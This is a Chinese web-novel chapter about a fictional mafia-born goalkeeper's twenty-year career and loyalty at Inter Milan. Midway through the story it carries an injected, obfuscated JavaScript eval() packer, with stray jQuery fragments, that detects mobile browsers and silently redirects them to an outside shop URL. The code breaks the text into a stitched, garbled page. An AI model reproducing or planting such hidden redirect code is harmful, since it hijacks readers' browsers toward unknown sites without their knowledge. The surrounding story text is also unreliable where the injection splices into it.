预警排雷不赘述请见前篇,这章稍微正经一点,但还是大纲乐子无脑文!请做好主角有点装x的准备(
——————
“十二码前的缄默国王。”
在那二十年里,无数报纸这样评价他。
能够在比赛的九十分钟内几乎不犯任何技术性或心理性失误。站位与后防指挥堪称教科书,扑救动作极简高效,给人以极大的进攻压力。点球扑救率长期领跑五大联赛,极致专注,很少被射手的诱导所欺骗。
二十五岁起佩戴队长袖标,成为国米历史上任期最长的队长之一。更衣室内以冷静且言出必行的风格树立绝对威望,从不公开指责队友,也从不回避赛后的舆论责任。
每当盘点一人一城,必定会有他——达米亚诺·多米诺(Damiano Dmino)。
出生于美国,长大于美国。但在足球荒漠中,主角与足球因缘结识。“当你喜欢一项运动的时候,你可能会为多个俱乐部而着迷。当我喜欢一个俱乐部的时候,我则会将它视作与我尊严同等高度的信仰。”
自打响名气的第一个采访里,主角从不掩饰自己的目的:我是为了国米而踢球的。
大多数的时候,人们往往从球星口中听过这样的故事,因为喜爱一个俱乐部而走向足球。所以在那时,主角也只是一个不特别的儿纯梦,直到1990年世界杯。
意大利与美国的双国籍意味着主角有两个选择,但相比于美国,主角身处意大利的俱乐部且意大利国家队成绩更好……诸多原因之下,基本上所有人都默认主角会加入蓝衣军团。
但,意大利公布的大名单没有他。美国公布的大名单里,也没有他。
本来应该一锤定音或是双方开展的争夺战由于主角的缺席而被迫沉默。在被记者终于蹲到问及为什么不会参与这次世界杯时,被猜测可能是伤缺的主角理所当然地回复:
“我是为了国际米兰而踢球的,在我的职业生涯里我会把所有精力留给俱乐部。如果日后国际米兰不再需要我,我将原地退役,永远不会穿上另外任何一个俱乐部的球衣。”
狂热到……足以令人震撼。
----
从刻板印象来说,一个美国人+意大利人的结合体难道不应该是一个喊着“憨八嘎~”和“帕斯塔~”,或者再不济也是“口可口啦~”的笨蛋吗!
并非身先士卒反抗刻板印象,主角只是习惯性展现自己的稳重。作为两个mafia家族罕见的并非联姻,而是爱情的结合体。主角从小就熟读《教父》、《幸运·卢西亚诺》等经典黑/帮电影。自认为已经见识过黑暗社会残酷的一面后,小小的主角励志要成为一个城府极深喜怒不形于色的狠人。
但奈何某一日,听了主角幼稚的问题后,父母忍不住笑了,和他说了让他不得不思考着要不要改变目标的话:
“时代变了达米,暴力不再是通行证,我们更多需要权力和金钱。”
“我们需要洗白,走到台前。”
时代变了,当然并非是指现在的街头枪战从互射子弹变成互射火箭或者驾驶高达。主角只是突然意识到了一件事:自己并不需要为了成为“教父”而努力了。
那之后的人生要做什么…?
学习金融?学了。还有呢?
自小主角就是一个主观能动性很强的孩子,努力至今就是为了成为教父而奋斗。如今已经十五岁,在看了《科尔莱奥内》后,主角突然意识到自己应该争取权力,不做手无寸铁之徒,于是在父母还没发现时,他已经获得了两个家族里多位负责人的信任与忠诚。
“达米,你是一个能力很强的孩子,但你不应该将你的人生困在家族——这一个选择里,另外……”
“你也不应该觊觎我们的权力。哪怕我们是你的父母。”
于是在十八岁这年。主角被放逐回父辈的老家,意大利。人很难想象一个彻底失去了目标的人是一种怎样的状态,万幸主角获得了新的目标,有了新的可以追求的事物:国际米兰和足球。
如果不能为了“Cosca”而努力,那就为了另一种“Cosa Nostra”而押上一切。*
---
在体育竞技的世界里,拥有天赋是远比努力重要的事。万幸的是,主角拥有守门的天赋,此前训练的专注与反应力让他足以脱颖而出,很快就进入了一线队。
十一岁时,他已经能准确判断家族聚会上谁是藏枪进入。并非靠看腰间的凸起,而是审视人们在进门后目光的落及之处。
十五岁时,他开始专究瞳孔反应,通过训练后甚至可以控制自己的瞳孔在听到重大消息时的反应,做到喜怒不形于色。
所以在他成为门将之后,那些试图用眼神和假动作欺骗他的前锋,在大多时候都不能够影响他的判断。
-----
人们把各自对于主角的认知放在一起,会突然意识到这是一个两极的谜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904086|212997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一面是他在国米的二十年。球员评价他是一个很幽默又不失严肃,是一个总能统领全局带着大家翻盘的人。也有队友说他像一个大家长,任何事情都可以寻求他的帮助——如果你已经被他认可。
但在对手眼里,主角是一个极致冷静到滴水不漏,给人以极致压力的人。
扑出点球后的大多次都不会振臂怒吼,只是站起来,走回门前注视着他们,等待他们把球捡起放回中圈弧顶。姿态之平静,以至于往往让对面罚丢的球员愣在原地,忘记自己应该懊恼。
后来有报道评价:“也许这是一种极高明的心理压制。不庆祝就意味着他认为你罚丢是理所当然的,这足以打击其余人面对点球时的士气与勇气。”
一面则是众所周知的,主角对蓝黑的狂热。他的发言足以让足坛常谈常新:如果真的是一个极致冷静的人,为什么要用这么极端的方式表达忠诚?
真正的冷静者不需要宣誓,真正算无遗策的人不会把自己的路走绝。宣誓“原地退役”意味着把职业生涯捆绑在一家俱乐部上,没有任何转圜余地。这不应该是“十二码前的缄默国王”的行为逻辑。
人本身就是复杂的!有的人说。也许因为他还藏着什么?其余人说。
————————
作为死忠内拉祖里,面对AC米兰时他从不掩饰对抗态度。
电话门后,在AC米兰可能降级的风声中。他说:“他们(AC米兰)赢球的时候我会生气,他们输球的时候我会高兴。但,如果他们彻底沉沦了,我反而会觉得意甲少了点什么。”
————
职业生涯的最后一场告别赛上,主角把手套摘下挂在球网上,走向北看台。全场几万人都在为他沸腾,于是他抬头看向升起的巨大tifo。
那是他的代表庆祝姿势,手握成拳伸向前方,像是指挥,又像是宣誓。内拉祖里为他再度震唱独属于他的胜利之歌:
我们的队长——!缄默的国王!蓝黑的铁壁——永恒的多米诺——!!
于是他伸手,握拳平举。回应了球迷。
全场寂静。
——此为“缄默”。
国王最后一次于绿茵赛场展示他的庆祝仪式。
注释:*简而言之,Cosca为黑/帮家族。Cosa Nostra为黑话,我们的事业。原也指mafia,这里用来意指为了国际米兰而做的事情,也就是主角的足球职业生涯。